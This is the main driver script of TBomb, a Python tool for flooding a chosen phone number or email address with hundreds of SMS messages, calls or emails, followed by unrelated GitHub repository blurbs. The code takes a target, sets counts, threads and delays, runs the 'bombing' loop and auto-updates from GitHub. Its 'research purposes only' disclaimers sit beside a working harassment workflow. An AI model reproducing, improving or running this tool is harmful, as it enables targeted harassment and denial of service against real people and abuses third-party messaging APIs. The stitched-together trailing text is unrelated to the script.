zip_file: for member in zip_file.namelist(): filename = os.path.split(member) if not filename[1]: continue new_filename = os.path.join( filename[0].replace(dir_name, "."), filename[1]) source = zip_file.open(member) target = open(new_filename, "wb") with source, target: shutil.copyfileobj(source, target) success = True except Exception: mesgdcrt.FailureMessage("Error occured while extracting !!") if success: mesgdcrt.SuccessMessage("TBomb was updated to the latest version") mesgdcrt.GeneralMessage( "Please run the script again to load the latest version") else: mesgdcrt.FailureMessage("Unable to update TBomb.") mesgdcrt.WarningMessage( "Grab The Latest one From https://github.com/TheSpeedX/TBomb.git") sys.exit() def do_git_update(): success = False try: print(ALL_COLORS[0]+"UPDATING "+RESET_ALL, end='') process = subprocess.Popen("git checkout . && git pull ", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) while process: print(ALL_COLORS[0]+'.'+RESET_ALL, end='') time.sleep(1) returncode = process.poll() if returncode is not None: break success = not process.returncode except Exception: success = False print("\n") if success: mesgdcrt.SuccessMessage("TBomb was updated to the latest version") mesgdcrt.GeneralMessage( "Please run the script again to load the latest version") else: mesgdcrt.FailureMessage("Unable to update TBomb.") mesgdcrt.WarningMessage("Make Sure To Install 'git' ") mesgdcrt.GeneralMessage("Then run command:") print( "git checkout . && " "git pull https://github.com/TheSpeedX/TBomb.git HEAD") sys.exit() def update(): if shutil.which('git'): do_git_update() else: do_zip_update() def check_for_updates(): if DEBUG_MODE: mesgdcrt.WarningMessage( "DEBUG MODE Enabled! Auto-Update check is disabled.") return mesgdcrt.SectionMessage("Checking for updates") fver = requests.get( "https://raw.githubusercontent.com/TheSpeedX/TBomb/master/.version" ).text.strip() if fver != __VERSION__: mesgdcrt.WarningMessage("An update is available") mesgdcrt.GeneralMessage("Starting update...") update() else: mesgdcrt.SuccessMessage("TBomb is up-to-date") mesgdcrt.GeneralMessage("Starting TBomb") def notifyen(): try: if DEBUG_MODE: url = "https://github.com/TheSpeedX/TBomb/raw/dev/.notify" else: url = "https://github.com/TheSpeedX/TBomb/raw/master/.notify" noti = requests.get(url).text.upper() if len(noti) > 10: mesgdcrt.SectionMessage("NOTIFICATION: " + noti) print() except Exception: pass def get_phone_info(): while True: target = "" cc = input(mesgdcrt.CommandMessage( "Enter your country code (Without +): ")) cc = format_phone(cc) if not country_codes.get(cc, False): mesgdcrt.WarningMessage( "The country code ({cc}) that you have entered" " is invalid or unsupported".format(cc=cc)) continue target = input(mesgdcrt.CommandMessage( "Enter the target number: +" + cc + " ")) target = format_phone(target) if ((len(target) <= 6) or (len(target) >= 12)): mesgdcrt.WarningMessage( "The phone number ({target})".format(target=target) + "that you have entered is invalid") continue return (cc, target) def get_mail_info(): mail_regex = r'^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}$' while True: target = input(mesgdcrt.CommandMessage("Enter target mail: ")) if not re.search(mail_regex, target, re.IGNORECASE): mesgdcrt.WarningMessage( "The mail ({target})".format(target=target) + " that you have entered is invalid") continue return target def pretty_print(cc, target, success, failed): requested = success+failed mesgdcrt.SectionMessage("Bombing is in progress - Please be patient") mesgdcrt.GeneralMessage( "Please stay connected to the internet during bombing") mesgdcrt.GeneralMessage("Target : " + cc + " " + target) mesgdcrt.GeneralMessage("Sent : " + str(requested)) mesgdcrt.GeneralMessage("Successful : " + str(success)) mesgdcrt.GeneralMessage("Failed : " + str(failed)) mesgdcrt.WarningMessage( "This tool was made for fun and research purposes only") mesgdcrt.SuccessMessage("TBomb was created by SpeedX") def workernode(mode, cc, target, count, delay, max_threads): api = APIProvider(cc, target, mode, delay=delay) clr() mesgdcrt.SectionMessage("Gearing up the Bomber - Please be patient") mesgdcrt.GeneralMessage( "Please stay connected to the internet during bombing") mesgdcrt.GeneralMessage("API Version : " + api.api_version) mesgdcrt.GeneralMessage("Target : " + cc + target) mesgdcrt.GeneralMessage("Amount : " + str(count)) mesgdcrt.GeneralMessage("Threads : " + str(max_threads) + " threads") mesgdcrt.GeneralMessage("Delay : " + str(delay) + " seconds") mesgdcrt.WarningMessage( "This tool was made for fun and research purposes only") print() input(mesgdcrt.CommandMessage( "Press [CTRL+Z] to suspend the bomber or [ENTER] to resume it")) if len(APIProvider.api_providers) == 0: mesgdcrt.FailureMessage("Your country/target is not supported yet") mesgdcrt.GeneralMessage("Feel free to reach out to us") input(mesgdcrt.CommandMessage("Press [ENTER] to exit")) bann_text() sys.exit() success, failed = 0, 0 while success < count: with ThreadPoolExecutor(max_workers=max_threads) as executor: jobs = [] for i in range(count-success): jobs.append(executor.submit(api.hit)) for job in as_completed(jobs): result = job.result() if result is None: mesgdcrt.FailureMessage( "Bombing limit for your target has been reached") mesgdcrt.GeneralMessage("Try Again Later !!") input(mesgdcrt.CommandMessage("Press [ENTER] to exit")) bann_text() sys.exit() if result: success += 1 else: failed += 1 clr() pretty_print(cc, target, success, failed) print("\n") mesgdcrt.SuccessMessage("Bombing completed!") time.sleep(1.5) bann_text() sys.exit() def selectnode(mode="sms"): mode = mode.lower().strip() try: clr() bann_text() check_intr() check_for_updates() notifyen() max_limit = {"sms": 500, "call": 15, "mail": 200} cc, target = "", "" if mode in ["sms", "call"]: cc, target = get_phone_info() if cc != "91": max_limit.update({"sms": 100}) elif mode == "mail": target = get_mail_info() else: raise KeyboardInterrupt limit = max_limit[mode] while True: try: message = ("Enter number of {type}".format(type=mode.upper()) + " to send (Max {limit}): ".format(limit=limit)) count = int(input(mesgdcrt.CommandMessage(message)).strip()) if count > limit or count == 0: mesgdcrt.WarningMessage("You have requested " + str(count) + " {type}".format( type=mode.upper())) mesgdcrt.GeneralMessage( "Automatically capping the value" " to {limit}".format(limit=limit)) count = limit delay = float(input( mesgdcrt.CommandMessage("Enter delay time (in seconds): ")) .strip()) # delay = 0 max_thread_limit = (count//10) if (count//10) > 0 else 1 max_threads = int(input( mesgdcrt.CommandMessage( "Enter Number of Thread (Recommended: {max_limit}): " .format(max_limit=max_thread_limit))) .strip()) max_threads = max_threads if ( max_threads > 0) else max_thread_limit if (count < 0 or delay < 0): raise Exception break except KeyboardInterrupt as ki: raise ki except Exception: mesgdcrt.FailureMessage("Read Instructions Carefully !!!") print() workernode(mode, cc, target, count, delay, max_threads) except KeyboardInterrupt: mesgdcrt.WarningMessage("Received INTR call - Exiting...") sys.exit() mesgdcrt = MessageDecorator("icon") if sys.version_info[0] != 3: mesgdcrt.FailureMessage("TBomb will work only in Python v3") sys.exit() try: country_codes = readisdc()["isdcodes"] except FileNotFoundError: update() __VERSION__ = get_version() __CONTRIBUTORS__ = ['SpeedX', 't0xic0der', 'scpketer', 'Stefan'] ALL_COLORS = [Fore.GREEN, Fore.RED, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN, Fore.WHITE] RESET_ALL = Style.RESET_ALL ASCII_MODE = False DEBUG_MODE = False description = """TBomb - Your Friendly Spammer Application TBomb can be used for many purposes which incudes - \t Exposing the vulnerable APIs over Internet \t Friendly Spamming \t Testing Your Spam Detector and more .... TBomb is not intented for malicious uses. """ parser = argparse.ArgumentParser(description=description, epilog='Coded by SpeedX !!!') parser.add_argument("-sms", "--sms", action="store_true", help="start TBomb with SMS Bomb mode") parser.add_argument("-call", "--call", action="store_true", help="start TBomb with CALL Bomb mode") parser.add_argument("-mail", "--mail", action="store_true", help="start TBomb with MAIL Bomb mode") parser.add_argument("-ascii", "--ascii", action="store_true", help="show only characters of standard ASCII set") parser.add_argument("-u", "--update", action="store_true", help="update TBomb") parser.add_argument("-c", "--contributors", action="store_true", help="show current TBomb contributors") parser.add_argument("-v", "--version", action="store_true", help="show current TBomb version") if __name__ == "__main__": args = parser.parse_args() if args.ascii: ASCII_MODE = True mesgdcrt = MessageDecorator("stat") if args.version: print("Version: ", __VERSION__) elif args.contributors: print("Contributors: ", " ".join(__CONTRIBUTORS__)) elif args.update: update() elif args.mail: selectnode(mode="mail") elif args.call: selectnode(mode="call") elif args.sms: selectnode(mode="sms") else: choice = "" avail_choice = { "1": "SMS", "2": "CALL", "3": "MAIL" } try: while (choice not in avail_choice): clr() bann_text() print("Available Options:\n") for key, value in avail_choice.items(): print("[ {key} ] {value} BOMB".format(key=key, value=value)) print() choice = input(mesgdcrt.CommandMessage("Enter Choice : ")) selectnode(mode=avail_choice[choice].lower()) except KeyboardInterrupt: mesgdcrt.WarningMessage("Received INTR call - Exiting...") sys.exit() sys.exit()
GeographicaGS / LibosrmcGeographica version of libosrmc (C wrapper around the C++ libosrm library), focused only on Python 3 binding (osrmcpy).
adamchainz / Kwargs OnlyA decorator to make a function accept keyword arguments only, on both Python 2 and 3.
wannabehero / Charles Proxy Extract SkillClaude Code skill for extracting and analyzing HTTP/HTTPS traffic from Charles Proxy session files. Zero dependencies, Python 3 only.
bsin-researcher / Memo MakerOpen-source student equity-research toolkit: Python CLI + Streamlit bot to generate 1-page memos and T−1→T+3 event studies (educational only).
CodeUpdaterBot / AIvsSTEPA Python program that uses only the text from the the 2024 STEP-Practice Exams 1-3 and runs it through OpenAI, Claude, Groq, OpenRouter, and open-source Ollama models to see how each scores and which is the best overall.
ygorml / Local Inference CalculatorLocal Inference Calculator - A CLI tool for estimating LLM VRAM requirements. Supports FP32/FP16/INT8/INT4 quantization, 40+ GPUs (NVIDIA, AMD, Google Colab), and models from 7B to 180B parameters. No external dependencies - just Python 3.10+. Use python main.py --context 4096 --only-runs to quickly find viable model × GPU combinations.